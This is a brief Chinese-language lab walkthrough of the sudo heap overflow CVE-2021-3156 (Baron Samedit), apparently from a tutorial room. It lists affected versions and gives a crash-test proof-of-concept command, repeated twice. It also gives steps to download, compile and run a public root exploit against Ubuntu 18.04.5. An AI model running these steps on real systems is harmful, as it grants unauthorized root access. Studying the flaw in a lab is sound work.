Sudo 堆缓冲区溢出漏洞（CVE-2021-3156）

Baron Samedit（CVE-2021-3156）

A tutorial room exploring CVE-2021-3156 in the Unix Sudo Program. Room Three in the SudoVulns Series

---

Sudo 堆缓冲区溢出漏洞

受影响版本：

• Sudo 1.8.2 - 1.8.31p2
• Sudo 1.9.0 - 1.9.5p1

 

 

POC：

    sudoedit -s '\' $(python3 -c 'print("A"*1000)')

    （返回malloc(): memory corruption

               Aborted (core dumped)则表示系统容易收到攻击）

 

EXP:   

https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156

 

POC：

    sudoedit -s '\' $(python3 -c 'print("A"*1000)')

 

 

 

下载EXP，cd到Exploit目录，看到一个Makefile文件，输入make即可进行编译

运行程序时提示后面要加参数0/1/2

 

我们是Ubuntu18.04.5，所以我们使用./sudo-hax-me-a-sandwich 0